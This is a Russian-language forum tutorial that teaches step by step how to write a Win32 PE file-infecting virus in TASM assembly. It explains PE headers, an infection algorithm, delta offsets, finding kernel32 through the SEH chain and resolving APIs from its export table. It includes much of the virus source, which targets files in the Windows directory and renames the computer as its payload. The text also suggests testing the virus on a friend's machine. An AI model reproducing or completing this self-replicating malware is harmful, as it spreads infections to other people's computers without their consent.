Почти каждый, кто изучает язык ассемблера, рано или поздно пишет вирус, некоторые люди пишут вирус, когда заканчивают изучать какой-нибудь язык программирования... Прежде чем читать то, что я буду писать ниже и понимать хоть что-нибудь, вы должны: а) знать основные команды ассемблера б) уметь пользоватся АПИ-функциями в) взять где-нибудь (можно и у меня) TASM32 (можно и другой, но каждый компилятор имеет свои особенности). г) отладчик (если собираетесь собственноручно создать зверька, то без отладки довольно трудно найти ошибки) д) прогу, которая прикреплена (на неё вопит касперский, но это не вирус!!!! ) е) иметь здоровую голову (если вы хотите испортить все компы на Земле, то ваше место в больнице, а не здесь) ё) ПОМНИТЬ, ЧТО ЭТОТ МАТЕРИАЛ ПРЕДСТАВЛЕН ТОЛЬКО В ЦЕЛЯХ ОБУЧЕНИЯ, И ЗА ПОСЛЕДСТВИЯ Я НИКАКОЙ ОТВЕТСТВЕННОСТИ НЕ НЕСУ Вроде всё.
Теперь план обучения: 1) формат заголовка файла РЕ 2) разбор основных полей заголовка РЕ 3) методика заражения 4) дельта-смещение. 5) поиск АПИ 6) разбор используемых АПИ 7) пишем код 8) Reserved
Заголовок - это структура, которая содержит информацию, которая требуется загрузчику для загрузки того или иного файла. Мы рассмотрим формат заголовка РЕ-ЕХЕ. Расширение .ЕХЕ имеют не только РЕ-ЕХЕ файлы, но ещё и старые досовские. В связи с этим в самом начале файла идёт заголовок, который полностью досовскому загрузчику и, в некоторых случаях, dos stub, прога, которая запускается, если стартовать РЕ файл из-под доса. Она в основном кричит что-то типа "This programm must cannot be run in DOS mode". Мы пишем вирус под Винду, поэтому нас дос-совместимый заголовок особо не интересует. Только пара полей
Смещение (offset) Размер Описание +0h 1 w (2байта) 'MZ' сигнатура ЕХЕ файла +3Сh 1 dw (4 байта) смещение начала РЕ заголовка
Вот мы и увидели, как проверить файл на "подлинность" (сигнатура). Кстати, если вы откроете command.com в каком-нибудь НЕХ-редакторе, то вы увидете, что это на самом деле не СОМ, а ЕХЕ
Формат заголовка РЕ висит в прикреплённом файле. Советую распечатать.
Итак, вы просмотрели вложения. Теперь расскажу подробнее о тех полях заголовка, которые мы будем использовать во время написания вируса.
Как вы заметили, самое первое поле заголовка - сигнатура. Это уже проверка файла на РЕ.
Тип компа нам не интересен. В файле мы имеем дело с несколькими секциями, такими как, например, секция кода или секция данных. Количество этих секций указано по смещению 6 заголовка РЕ. В файле находится таблица объектов (Object Table), элементы которой описывают секции. Мы будем работать с этими элементами. Делать это будем в цикле с заданным кол-вом повторений. Значение поля Number Of Sections и будет кол-вом этих повторений.
Дальше нам понадобится поле Size Of Optional Header. Оно понадобится при расчёте смещения (offset) Object Table.
Следующее поле, которое нас сильно интересует - Address Of Entry Point по смещению 28h от начала РЕ-заголовка (далее просто заголовок). Оно показывает загрузчику место старта (если это можно так назвать) проги. Значение этого поля - только RVA точки старта. Теперь несколько слов о том что такое RVA, VA... Сразу скажу, что надо просто взять и выучить, что есть что и понять как одно от другого отличается. Мне было очень сложно разобраться с этими понятиями. RVA расшифровывается как Relative Virtual Address - это смещение на что-либо относительно того места в памяти, куда загрузчик закидывает файл. Ведь файл не располагается с нулевого смещения...
VA (Virtual Address) - это уже смещение, с которым мы можем работать. Теперь всё это на примере.
Итак, загрузчик потрудился на славу и закинул наш файл по смещению 00040000h в память. RVA точки входа 00001000h. Ясно, если загрузчик передаст управление на смещение 00001000h, то ничего полезного не произойдёт, ведь это только RVA. Чтоб сделать из RVA VA нужно прибавить к нему 00040000h (так называемую базу образа). Прибавляем и получаем 00041000h, а это адрес точки входа (VA). Мы в основном будем получать везде RVA, и нам прийдётся преобразовывать его в VA.
Виртуальные данные - термин, который служит для обозначения данных, которые висят в памяти. RAW-данные - данные, которые находятся в файле.
Расположение данных в памяти и в файле отличается. Так, например, в файле код расположен по смещению 600h, в память их загрузчик может кинуть по смещению 1000h, относительно адреса загрузки (RVA).
Следующее поле заголовка которое нас интересует - Image Base (00000034h). Это и есть то смещение, начиная с которого файл располагается загрузчиком в памяти. Понадобится при передаче управления зараженному объекту.
Section Alignment и File Alignment - значения, на которые надо будет выровнять некоторые значения после заражения. Выравнивание - это округление какого-либо значения в большую сторону до значения, кратного выравнивающему фактору. Например, объём кода 2CDh, а File Alignment=200h (это фактор), тогда выровненное значение будет 400h.
Цитата
При выравнивании можно воспользоваться такой формулой:
(x+(y-1))&(~(y-1)), где, x-выравниваемое значение y-выравнивающий фактор
Уточнение: выравнивающий фактор должен быть степенью двойки, иначе формула не будет иметь смысла. Т.к. содержимое полей Object Align и File Align по утверждению Microsoft являются степенями двойки, мы можем смело использовать данную формулу.
Хмм, это на первый взгляд выглядит сложно, на практике все просто и ясно.
.code start: mov eax, AlignmentFactor dec eax add ValueAlign, eax not eax and ValueAlign, eax ret end start ;------------------------------------------------------------------------------
Скомпилируйте и посмотрите в отладчике, меняйте значения. Все встанет на свои места.
Дальше по списку... Major Image Version и Minor Image Version - а эти поля я буду использовать как метку на зараженность, не надо ведь заражать один и тот же файл по нескольку раз, одного достаточно.
ImageSize - размер загружаемого образа. Загрузчик следит за выполнением такого равенства HeaderSize (54h) + Сумма(VirtualSize[i], i) == ImageSize (50h) (все значения выровнены по ОbjAlign). Иначе визжит, что файл не является приложением Вин32.
HeaderSize - из описания ясно.
Вроде с полями ясно всё, если что-нибудь вспомню, расскажу в процессе. Если вам что-либо не понятно, можете спрашивать в РМ или асю.
Пишу в виде алгоритма, хотя я не умею их делать. Пишу с того момента, когда мы отловили адреса апишек, после всех приготовлений (об этом ниже).
1) ищем файл 2) открываем, проверяем на зараженность, если всё ОК, то идём дальше, если нет то на шаг 8 3) ищем последнюю секцию 4) пишем код ей в зад 5) фиксим некоторые поля заголовка и соответствующего элемента Object Table 6) устанавливаем метку заражения 7) закрываем 8) заразили достаточно, на шаг 10, нет - дальше 9) ищем следующий, валим на шаг 2 10) если первое поколение то просто выходим, если нет, то передаём управление носителю Что-то типа этого. На практике разберётесь (на самом деле всё сложнее немного).
Продолжу, если это будет хоть кому-нибудь интересно. Кому интересно или если вы заметили какие-то ошибки или недочёты, то пишите в PM или стучите в асю 88880172, выражайте свои мысли.
В данном случае iasdf.asm - имя файла примера. Запустите ВАТ файл. В результате в папке появится файл iasdf.exe. Если вы посмотрите в отладчике этот файл, то увидите что-то типа:
Теперь посмотрим на это более внимательно... Программа, которую мы написали выше, будет выполнятся без проблем из-за того, что будет грузится с одного и того-же адреса в памяти (поле ImageBase заголовка) и после запуска в eax будет заноситься значение по адресу 0040100C. Когда тело вируса находится в конце заражаемого файла, в память его, скорее засунут тоже не в начало. Допустим, мы записали вирус (допустим это вышенаписанная прога), в конец файла. Файл имеет такую структуру в памяти:
Секция смещение(VA) размер код 00401000 1000 данные 00402000 2000 неиниц 00404000
Так как мы в конце файла, то, скорее всего и в последней секции. Допустим, она была пустая, когда мы поселились, тогда у нас будет такая картина:
Неувязка - переменная оказалась по адресу 0040400С, а в регистр попадает чёрти-что по смещению 0040100C. Проблема эта решается нахождением так называемого дельта смещения. Это значение, на которое отличается значение адреса при линковке от того, которое получилось в силу тех или иных обстоятельств. В нашем случае адреса изменились на 00404000-0401000=3000. Это и есть дельта. Как её использовать для получения реального адреса - 0401000+3000=00404000, просто добавить к обычному адресу.
3.1 В поисках дельты. Может вам показалось, что поиск дельты - основная сложность в написании вируса... Это не так. Это самая маленькая его часть, это даже не сложность. Как же найти дельту? Очень просто, надо взять произвольную метку и от её текущего адреса отнять тот, который был сразу после линковки. Вопрос... Как узнать тот адрес, который был при линковке? Напишите
mov eax, metka_name
и скомпилируйте. В регистр всегда будет попадать (при любых обстоятельствах), адрес метки, который был изначально (как и в случае с переменной, ведь её адрес тоже оставался без изменения) Второй вопрос... Как узнать адрес, который имеет метка сейчас? А вот для этого придётся извратится... Все знают (или узнают), что при вызове функции в стек попадает адрес возврата из функции... То есть, если мы сделаем
call some_func
то в стеке окажется адрес команды, которая находится за этой. А если мы знаем "обычный" адрес этой команды, то мы можем найти дельту.
call delta ;вызов процедуры, в стеке текущий адрес метки delta: pop ebp ; достаем со стека sub ebp, delta ;отнимаем "обычный" адрес
В итоге в регистре ebp висит дельта. Теперь, если мы напишем mov eax,[ebp+aaaa], то получим значение переменной аааа, где бы она не валялась вместе со всей прогой В первом поколении вируса (когда его слинковали) дельта равна нулю (разберитесь почему). Кстати, можно не использовать дельты, но тогда надо держать все переменные в стеке, а это не очень удобно.
5) Поиск АПИ. Когда Винда загружает файл, она в адресное пространство кидает библиотеки, адреса имён которых содержатся в таблице импорта файла. Потом заполняет какие-то таблицы адресами АПИшек. При чём эти таблицы фиксированы. Вспомним нашу прогу(её вид в отладчике):
//******************** Program Entry Point ******** :00401000 A10C104000 mov eax, dword ptr [0040100C] :00401005 6A00 push 00000000
* Reference To: KERNEL32.ExitProcess, Ord:0000h | :00401007 E804000000 Call 00401010 ;всё внимание на эту строчку... :0040100C 00000000 BYTE 4 DUP(0)
Это вызов АПИ функции ExitProcess из KERNEL32.dll. Неужели вы думаете, что кернел кидают сразу за файл с его функциями??? Нет, просто мы прыгаем на таблицу, а там в определённом поле (смещение 00401010) висит адрес этой функции. Но если мы заразим файл, то там не обязательно будет такая-самая таблица. Ещё меньше вероятность того, что эта таблица содержит адреса всех нужных нам АПИшек. То есть мы прыгнем по тому адресу, а там окажется фигня какая-то. Кстати вот, что видит дизассемблер по смещению 00401010
Вот так. То есть для того, чтоб нам в вирусе использовать АПИ, их адреса нужно найти вручную, то есть, "подражая" загрузчику, найти адреса, забить их себе в "самопальную" таблицу. Сделать это можно многими способами:
Попытаться найти в импортах адреса LoadLibraryA и GetModuleHandleA. А там найти адреса библиотек и функций
Найти их в экспорте Кернела
Найти все в экспорте Кернела
Другие
Я остановлюсь на 3 варианте. В 1ом есть шанс провалится, во 2ом ИМХО эвристик заставит антивируса визжать. Я то на нём остановился. Но тут возникает проблема - где этот кернел висит???? Это действительно вопрос!!!!! Адрес кернела тоже надо искать.
5.1. Поиск адреса кернела Кернел висит в памяти. Искать кернел можно многими путями. Я предпочитаю поиск через анализ SEH. SEH это фигня, которая служит для обработки исключений (непредвиденных ситуаций).
Теперь теория По fs:0 начинается некоторая структура, называемая Thread Information Block (TIB). Первое поле - указатель на начало цепочки структур EXCEPTION_REGISTRATION_RECORD, каждая из которых содержит адрес процедуры обработки критической ситуации (SEH) и адрес следующей (т.е. предыдущей) структуры, этих обработчиков несколько. То есть если возникает непредвиденная ситуация, то по очереди вызываются эти обработчики, пока один из них не возьмёт на себя обработку исключения. Так вот последний обработчик висит где-то в кернеле. Так как он последний, то адрес следующего будет 0ffffffffh. Теперь предлагаю написать код поиска кернела.
xor edx,edx
R_SEH: mov eax, fs:[edx] ; в eax адрес первой структуры dec edx ; edx=0ffffffffh
search32: cmp [eax], edx ; адрес следующей структуры 0ffffffffh? je check32 ; да mov eax,[eax] ; нет, переходим к следующей jmp short search32 ; повторяем
check32: mov eax,[eax+4] ; eax=адрес обработчаика (он где то в кернеле) xor ax,ax ; обнуляем так как начало кернела находится по адресу кратному 10000h searchMZ: cmp word ptr [eax], 5A4Dh ; 5A4D - 'ZM' - сигнатура (кернел тоже РЕ файл) je IsPe ; нашли сигнатуру, проверяем вторую sub eax, 10000h ; не повезло - сканируем ещё адрес jmp short searchMZ ; и на проверку
IsPe: mov edx,[eax+3ch] ; в edx - rva заголовка PE ;относительно базы кернела (она в eax) cmp [eax+edx],4550h ; PE? jne Exit ; не нашли - выходим. ;kernel found
Адреса кернела, в принципе, известны для некоторых версий винды 077e60000h в ХР 0BFF70000h в Win9x
В принципе шанс не найти кернел очень маленький (практически отсутствует), поэтому можно и без проверки на РЕ-сигнатуру справится. Посмотрите это в отладчике и всё будет Ok.
Теперь адрес кернела мы знаем. Теперь будем искать адреса API-шек. В кернеле есть таблица экспорта её RVA находится по смещению 78h относительно заголовка РЕ. Там начиная со смещения 1Ch идут такие элементы:
Address Table RVA адрес таблицы адресов относительно базы кернела
Name Pointers RVA адрес таблицы указателей на строки с именами функций тоже относительный
Ordinal Table RVA адрес таблицы ординалов
Теперь код.
get_export: mov esi, [eax+edx+78h] ; get export rva lea esi, [esi+eax+1ch] ; esi=указатель на адрес таблицы адресов xchg eax, ebx ; in ebx kernelBase. eax буду юзать mov ecx, 3
loop_lodsd: lodsd ; в eax RVA add eax,ebx ; VA push eax dec cl jnz loop_lodsd ; в цикле загоняем в стек адреса таблиц с которыми будем работать
lea edi,[ebp+offset GetWindowsDirectoryA_] ; указатель на строку с именем первой требуемой АПИ (учитывая дельту)
mov edx,esi sub edi,esi ; посчитали длину имени она теперь в edi
mov esi,[esp+4] ; в esi адрес таблицы указателей на строки с именами АПИ mov ecx,edi ; ecx=edi=length(string)
searchAPI: push esi mov edi,edx mov esi,[esi] ; вытягиваем адрес (rva) push ecx add esi, ebx ; rva to VA
cld rep cmpsb ;сравниваем две строки
pop ecx pop esi jz equal ; если они равны inc ax ; в ах счётчик (мы считаем, какое по счёту имя сходится с именем искомой АПИ)
add esi, 4 ; к следующему имени jmp searchAPI
equal: ; нашли номер функции, надонайти ординал, а когда найдём ординал, то найдём адрес shl eax, 1 ; таблица ординалов состоит из двухбайтовых цифр, поэтому умножаем еах на 2 mov ecx, [esp] ; первым в стеке лежит указатель на таблицу ординалов ; а на первый элемент всегда esp указывает add ecx, eax ; переходим к нужному ординалу mov ecx, [ecx] ; кидаем ординал в есх and ecx, 0ffffh ; обрубаем старшие 2 байта. shl ecx, 2 ; таблица адресов состоит из 4байтовых элементов (умножаем ординал на 4)
mov eax, [esp+4*2] ; 3ий в стеке лежит адрес таблицы адресов add eax, ecx ; ищем нужный адрес mov eax, [eax] ; достаём RVA функции в еах add eax, ebx ; преобразуем в VA
mov [edi], eax ; в edi адрес конца нашей строки, то есть адрес хранится за строкой
cmp word ptr [edi+4], 0B0BAH ; это последняя искомая АПИ? (0B0BAh - метка конца нашей таблицы) je vse_naideno ; да - идём дальше
add edi, 4 ; нет - прибавляем к edi 4 (перескакиваем на имя следующей АПИ) jmp main_loop ; повторяем цикл
; в конце файла должна быть такая примерно таблица GetWindowsDirectoryA_ db 'GetWindowsDirectoryA', 0 ; первая нужная АПИ _GetWindowsDirectoryA dd 0 ; после каждого имени место под адрес SetCurrentDirectoryA_ db 'SetCurrentDirectoryA', 0 _SetCurrentDirectoryA dd 0 CreateFileA_ db 'CreateFileA', 0 _CreateFileA dd 0 FindFirstFileA_ db 'FindFirstFileA', 0 _FindFirstFileA dd 0 FindNextFileA_ db 'FindNextFileA', 0 _FindNextFileA dd 0 CreateFileMappingA_ db 'CreateFileMappingA', 0 _CreateFileMappingA dd 0 MapViewOfFile_ db 'MapViewOfFile', 0 _MapViewOfFile dd 0 UnmapViewOfFile_ db 'UnmapViewOfFile', 0 _UnmapViewOfFile dd 0 SetFilePointer_ db 'SetFilePointer', 0 _SetFilePointer dd 0 SetFileAttributesA_ db 'SetFileAttributesA', 0 _SetFileAttributesA dd 0 CloseHandle_ db 'CloseHandle', 0 _CloseHandle dd 0 FindClose_ db 'FindClose', 0 _FindClose dd 0 SetComputerNameA_ db 'SetComputerNameA', 0 _SetComputerNameA dd 0
6. Pазбор используемых АПИ Разбор сводится к копированию сюда содержимого справочника АПИ и более подробному их рассмотрению, то есть в этом разделе мы не будем придумывать ничего, никакого кода. Зато когда мы разберём АПИ, можно будет приступать к написанию кода вируса. Все приведённые здесь АПИ находятся в кернеле. Все попытки включить в список АПИ из другой библиотеки или с неправильным именем приведёт к ошибке и вы с треском вылетите. Итак, первая АПИ - GetWindowsDirectoryA
Цитата
UINT GetWindowsDirectory( LPTSTR lpBuffer, // address of buffer for Windows directory UINT uSize // size of directory buffer );
lpBuffer - буфер, куда будет заносится строка, которая содержит путь к директории винды (C:\Windows типа этого) uSize - размер этого буфера (число от 0 до MAX_PATH) Использование:
push Some_lenth lea edi, [ebp+offset szWindowsDirectory] push edi call [ebp+_GetWindowsDirectoryA]
Как вы заметили, всё делалось с учётом дельты.
SetCurrentDirectoryA - устанавливает текущую директорию процесса
Цитата
BOOL SetCurrentDirectory( LPCTSTR lpPathName // address of name of new current directory );
lpPathName - адрес строки с завершающим нулём, которая содержит путь к директории, которую нужно сделать текущей для текущего процесса. Использование:
lea edi,[ebp+offset szWindowsDirectory] push edi call [ebp+_SetCurrentDirectoryA]
CreateFileA - крутая АПИ. Умеет файлы открывать.
Цитата
The CreateFile function creates or opens the following objects and returns a handle that can be used to access the object: · files · pipes · mailslots · communications resources · disk devices (Windows NT only) · consoles · directories (open only)
HANDLE CreateFile(
LPCTSTR lpFileName, // pointer to name of the file DWORD dwDesiredAccess, // access (read-write) mode DWORD dwShareMode, // share mode LPSECURITY_ATTRIBUTES lpSecurityAttributes, // pointer to security attributes DWORD dwCreationDistribution, // how to create DWORD dwFlagsAndAttributes, // file attributes HANDLE hTemplateFile // handle to file with attributes to copy );
lpFileName - указатель на строку с именем файла dwDesiredAccess - тип доступа к объекту dwShareMode - флаг который паказывает каким образом можно юзать объект lpSecurityAttributes - чё то там связано с дочерними процессами - ставим 0 dwCreationDistribution - как создавать (открыть если существует, создать...) dwFlagsAndAttributes - с какими атрибутами файл, который открываем hTemplateFile - какой то вспомогательный файл Использование:
xor eax,eax push eax ; handle to file push eax ; flags and attributes push 00000003h ; how to create(OPEN_EXISTING) push eax ; security attr push 00000003h ; share mode (FILE_SHARE_READ + FILE_SHARE_WRITE) push 0c0000000h ; access mode (GENERIC_READ + GENERIC_WRITE) lea eax,[ebp+offset FName] push eax ; pointer to file name call [ebp+_CreateFileA]
Возвращаемые значенния: Если успешно, то возвращает уникальный описатель (хендл) открытого объекта, если нет, то -1.
LPCTSTR lpFileName, // pointer to name of file to search for LPWIN32_FIND_DATA lpFindFileData // pointer to returned information );
lpFileName - маска поиска lpFindFileData - указатель на структуру WIN32_FIND_DATA (WFD)
Результат работы - если успешно, то возвращает хендл поиска, который нужен при использовании таким функциям как FindNextFile. Если провал, то возвращает -1.
Использование:
lea eax,[ebp+offset WFD32] push eax ; указатель на структуру lea eax,[ebp+offset FN4Search] push eax ;указатель на маску поиска call [ebp+_FindFirstFileA]
Структура для поиска WFD:
WFD32: FAttr dd 0 ;атрибуты найденного файла FCrTime dd 0,0 ;время создания FLAcsTime dd 0,0 ;время последнего доступа FLWTime dd 0,0 ;вр. последнего изменения FSizeH dd 0 ;старший кусок размера файла FSizeL dd 0 ;младший кусок FRes dd 0,0 ;зарезервировано FName db MAX_PATH dup (0) ;имя фала (полное) AFName db 13 dup (?) ;сокращённое в формате 8.3 ;317bytes total
HANDLE hFindFile, // handle to search LPWIN32_FIND_DATA lpFindFileData // pointer to structure for data on found file );
hFindFile - хендл, который возвратила ф-ия FindFirstFileA lpFindFileData - указатель на WFD
Возвращает: если успех, то заполняет WFD новыми значениями и возвращает не ноль. Использование:
lea eax,[ebp+offset WFD32] ;указатель на структуру push eax push dword ptr [ebp+offset hFF] ;хендл (сохранённый в переменную) call [ebp+_FindNextFileA] ;сам вызов
CreateFileMappingA - функция, которая создаёт файловый мэппинг
Цитата
HANDLE CreateFileMapping(
HANDLE hFile, // handle to file to map LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // optional security attributes DWORD flProtect, // protection for mapping object DWORD dwMaximumSizeHigh, // high-order 32 bits of object size DWORD dwMaximumSizeLow, // low-order 32 bits of object size LPCTSTR lpName // name of file-mapping object );
hFile - хендл файла для мэппирования lpFileMappingAttributes - указатель на какую-то структуру, у нас ноль. flProtect - защита файла. Ставим PAGE_READWRITE=00000004 dwMaximumSizeHigh - старшая половина размера мэппируемого файла dwMaximumSizeLow - младшая lpName - имя объекта
Возвращает: если успех - хендл, если нет - 0
Использование:
mov eax,[ebp+hFO] xor edx,edx push edx ;name of object - 0 push ecx ;low size размер в регистре push edx ;high size - 0 (врядли файл такой большой) push PAGE_READWRITE ;protect push edx ;security attr - 0 push eax ;handle to file to map call [ebp+_CreateFileMappingA]
MapViewOfFile - помещает промэппированный файл в память.
Цитата
LPVOID MapViewOfFile(
HANDLE hFileMappingObject, // file-mapping object to map into address space DWORD dwDesiredAccess, // access mode DWORD dwFileOffsetHigh, // high-order 32 bits of file offset DWORD dwFileOffsetLow, // low-order 32 bits of file offset DWORD dwNumberOfBytesToMap // number of bytes to map );
hFileMappingObject - хендл, который остался от CreateFileMappingA dwDesiredAccess - тип доступа ставим SECTION_MAP_WRITE + SECTION_MAP_READ=2+4 dwFileOffsetHigh и dwFileOffsetLow - размер, если ноль, то столько, сколько в CreateFileMappingA dwNumberOfBytesToMap - сколько байтов фигачить в память, если 0, то все. Возвращает: если успех - адрес начала области памяти, куда всё это поместилось. Если нет - 0
BOOL SetFileAttributes( LPCTSTR lpFileName, // address of filename DWORD dwFileAttributes // address of attributes to set );
lpFileName - адрес строки, содержащей имя файл. dwFileAttributes - атрибуты, которые надо установить, у нас FILE_ATTRIBUTE_NORMAL Возвращает: всё ок - не 0. Использование:
lea eax,[ebp+offset FName] ; указатель на имя (берём из WFD) push dword ptr FAttrNorm ; FILE_ATTRIBUTE_NORMAL push eax call [ebp + _SetFileAttributesA]
CloseHandle - настолько-же крутая АПИ, насколько CreateFile. Она закрывает объект.
Цитата
Remarks
The CloseHandle function closes handles to the following objects:
· Console input or output · Event file · File mapping · Mutex · Named pipe · Process · Semaphore · Thread · Token (Windows NT only)
BOOL CloseHandle( HANDLE hObject // handle to object to close );
hObject - хендл объекта, который надо закрыть.
Этой ф-ией будем закрывать мэппинг и файл. Возвращает не 0, если успех.
hFindFile - хендл, еоторый остался после использования FindFirstFileA Возвращает не 0, если успех. Использование:
push dword ptr [ebp+offset hFF]; хендл, который достаём с переменной call [ebp+_FindClose]
SetComputerNameA - устанавливает имя компа. Это собственно в виде полезной нагрузки.
Цитата
BOOL SetComputerName( LPCTSTR lpComputerName // address of new computer name );
lpComputerName - указатель на новое имя компа. Возвращает не 0, если успех. Использование:
lea edi,[ebp+offset NewComp] ; указатель на строку с новым именем push edi call [ebp+_SetComputerNameA]
Это тот набор АПИ, который мы будем использовать при заражении. В первом поколении мы ещё заюзаем MessageBoxA & ExitProcess, но я думаю их описывать не стоит, ведь "Привет, мир" в винде пишут обычно с использованием этих АПИ. Теперь надо начинать детально рассказывать вам о заражении, описать ещё несколько структур РЕ файла, а после этого объяснить весь код вируса.
В исполняемый файл добавляем код вируса. Этим действием мы увеличиваем "длину" файла на "длину" вируса. Если такой файл запустить, то, скорее всего, вы увидите сообщение о том, что файл не является приложением под винду. Это происходит из-за того, что длина файла больше, чем та, которая указана в заголовке. Если мы увеличим величину Size of Image на длину вируса (которую выровняем на SectionAlignment), то опять получим сообщение об ошибке. В чём же дело, ведь все поля заголовка исправлены на нужные? Дело в том, что в файле есть ещё несколько структур, которые надо пофиксить. РЕ файл поделен на секции (секция кода, данных...). Для каждой секции есть структура, которая описывает её (object entry). Все структуры находятся одна за другой за заголовком и имеют такой формат:
Object Entry: = 28h bytes
RVA Size Name Description 00h 8 байт Object Name Имя объекта (секции) 08h DWord Virtual Size Виртуальный размер секции (в памяти)* 0Ch DWord Section RVA RVA секции (в памяти, относительно Image Base)* 10h DWord Рhysical Size Физический размер секции (в файле)* 14h DWord Physical Offset Физическое смещение (в файле, относительно его начала)* 18h 12 байт Reserved В EXE не используется (для OBJ) 24h DWord Object Flags Битовые флаги секции*
Я пометил * те поля, которые нас больше всего интересуют. Виртуальный размер секции - это размер секции (когда она загружена в памяти), выравненный по SectionAlignment. Если мы записали в последнюю секцию код, то должны увеличить это поле для последней секции (не для каждой секции). Кстати, загрузчик контролирует выполнение равенства HeaderSize+Summa(VirtualSize[i],i)=Size Of Image (все значения выровнять по SectionAlignment)
Section RVA - это адрес (RVA относительно ImageBase) начала секции, когда она загружена в память. Используется для нахождения новой точки входа Physical Size - размер секции, когда она в файле. Выровненное по File Alignment. Должно быть увеличено на длину виря, выровненную по File Alignment Physical Offset - смещене cекции относительно начала файла. Используем для поиска секции в файле. Object Flags - флаги. Могут иметь следующие значения или их комбинацию.
Object Flags: *00000020h Секция содержит программный код 00000040h Секция содержит инициализированные данные 00000080h Секция содержит неинициализированные данные *20000000h Секция является исполняемой (см. флаг 00000020h) 40000000h Секция только для чтения *80000000h Секция может использоваться для записи и чтения
Мы же будем устанавливать это поле в 0A0000020h (это комбинация отмеченных полей). Кстати pewrsec.exe, который я прикрепил в начале туториала, изменяет флаги всех секций на 0A0000020h, что позволяет нам работать с переменными, которые находятся в секции кода (и чего на него так ругаться?). Если боитесь использовать эту программу, то можете сделать для этого свою (когда мы закончим писать вирус вы будете в состоянии это сделать самостоятельно, хотя по просьбам трудящихся могу накодить и выложить код).
То есть, для успешного заражения надо пофиксить ещё и вышеописанную структуру для секции, которую заменили. Это Сложность №1. Сложность №2 - нахождение новой точки входа (RVA нашего кода относительно ImageBase). Тут всё просто. Мы пишемся в конец секции? RVA секции + Virtual Size = новый RVA!!!! Думаю с этим вы сами разберётесь. Сложность №3. Передача управления носителю. Тут всё ещё проще. Адрес старой точки входа мы знаем (RVA относительно ImageBase), ImageBase тоже знаем, тогда для корректной передачи управления нам нужно сделать Jump на старую точку, для чего надо знать её VA=RVA + ImageBase (это вам дельту не напоминает?) Сложность №4. Определение носителя первого поколения. Как известно, дельта первого поколения равна 0. Ведь в первом поколении нам не надо передавать управление носителю. Сложность №5. Самое сложное - распихать всё, что нам нужно по переменным так, чтоб потом найти. При работе с переменными не забывайте учитывать дельту. Сложность №6. Проверить работу, довести всё до ума. Посмотреть под отладкой, посмотреть как размножается (как быстро). Подсунуть другу (когда знаете, что работает и не портит ничего), прийти к нему через неделю, посмотреть, как всё отработано, сколько заражено. Потом, если не лень, оптимизировать (наш вирус не будет блистать оптимальностью и скоростью распространения (версия, где это будет сделано находится на стадии разработки), это сделано для того, чтоб вам было чем заняться). Не бойтесь за свой комп. Первые версии тестируйте на дискетах или в отдельных папках. Когда уверенны, что вирус не портит ничего, можете добавить "полезную нагрузку" - то, что вирус делает помимо заражения (вирус, который будет у нас, будет менять имя компа).
Если вы боитесь вируса, который написали (боитесь его пускать погулять у себя на компе), то это: а) вирус, который убивает систему, зануляет биос, сжигает монитор... В этом случае обратитесь к психиатру, вы опасный для общества человек б) нежелание переустанавливать систему в случае ошибки, боязнь потерять данные... Тогда вам надо бороться с ленью, записать самые важные данные на болванки или туда, где их ничего не достанет или прекратить писать вирусы, удалить все исходники вирусов с компьютера.
check32: mov eax, [eax+4] xor ax, ax searchMZ: cmp word ptr [eax], 5A4Dh je IsPe sub eax, 10000h jmp searchMZ IsPe: mov edx, [eax+3ch] cmp [eax+edx], 4550h jne Exit ; этот кусок я объяснил
write: mov ecx, 8 ; начинаем переводить адрес в символы
; пихаем в esi адрес места, куда будем пихать символы mov esi, offset k_addr_str add esi, 7 ; с конца это делать удобней loops: mov ebx, eax ; сохраняем eax, мы будем его использовать and al, 0fh ; обнуляем старший байт cmp al, 0ah ; сравниваем с 10 jl mensh add al, 7h ; если больше, то имеем дело с символом mensh: add al, 30h pechat: mov byte ptr [esi], al ; суём al и строку (это уже печатный символ) dec esi ; указатель на следующую позицию mov eax, ebx ; достаём сохранённый еах shr eax, 4 ; убираем полбайта, которые обработали loop loops ; повторяем xor eax, eax ; обнулить еах для последующего использования в функции
push 30h push offset szTitle push offset szMessage push eax call MessageBoxA ; вызов функции вывода сообщения
Exit: push 0 call ExitProcess ; выход из проги end start
Можете компилировать и юзать. для компиляции: Tasm32.exe /m3 /ml /zi iasdf.asm , , ; Tlink32.exe /Tpe /aa /v iasdf, iasdf, ,import32.lib iasdf - имя проги юзать: запускать файл, в нашем случае iasdf.ехе. Если заметите ошибки в коде (или материале) - пишите, стучите, звоните... Просто писал перевод в символы без проверки (нет компилятора), используя не самый лучший алгоритм (просто он простой для понимания:))
Поюзав эту прогу на нескольких компах с разными операционками вы увидите, что база кернела вполне зафиксированное значение для каждой операционки.
includelib import32.lib extrn ExitProcess: near extrn MessageBoxA: near ;нам нужны эти АПИ исключительно в первом поколении
.386 ;модель проца (вирус будет запускаться на процессорах 80386 и выше)
.model flat ;плоская модель (позволяет использовать до 4гб памяти)
jumps ;не прыгаем за пределы
.data ; тут данные. вернее их отсутствие, просто без этой секции компилятор не компилит dibilizm_dlya_tupogo_kompilyatora db 0 .code start: call delta ; начинаем код с поисков дельты delta: sub dword ptr [esp], offset delta ; адрес метки delta - адрес возврата - в стеке. esp - вершина стека и указывает на этот адрес. ; Отнимаем от этого значения смещение метки, которое она имеет в первом поколении
xor edx, edx ; в edx - 0 будем использовать при поиске кернела mov ebp, [esp] ; в ebp - дельту
R_SEH: mov eax,fs:[edx] dec edx
search32: cmp [eax], edx je check32 mov eax, [eax] jmp short search32
check32: mov eax,[eax+4] xor ax,ax searchMZ: cmp word ptr [eax],5A4Dh ; MZ je IsPe sub eax, 10000h jmp short searchMZ
IsPe: mov edx,[eax+3ch] cmp [eax+edx],4550h ; PE jne Exit ; kernel found
add edi, 4 jmp main_loop ; это поиск адресов АПИ. Я уже это описал. vse_naideno: mov byte ptr [ebp+numbofdirs], 1 ; кол-во директорий, которые заражаем после текущей
lea edi, [ebp+offset szWindowsDirectory] push Some_pathes push edi call [ebp+_GetWindowsDirectoryA] ; находим директорию, где "живёт" винда
call [ebp+_FindFirstFileA] ; ищем первый файл в текущей директории inc eax jz nextdir dec eax ; в случае провала у нас в еах -1 прибавляем 1 получаем 0. ; Тогда ф-ия провалилась, тогда сработает jz nextdir и мы начнём ; поиски в след. директории (в этом вирусе - в директории винды) ; если же ф-ия успешна, то мы отнимаем 1, чтоб получить правильный хендл...
mov [ebp+offset hFF], eax ; и сохраняем его в переменной
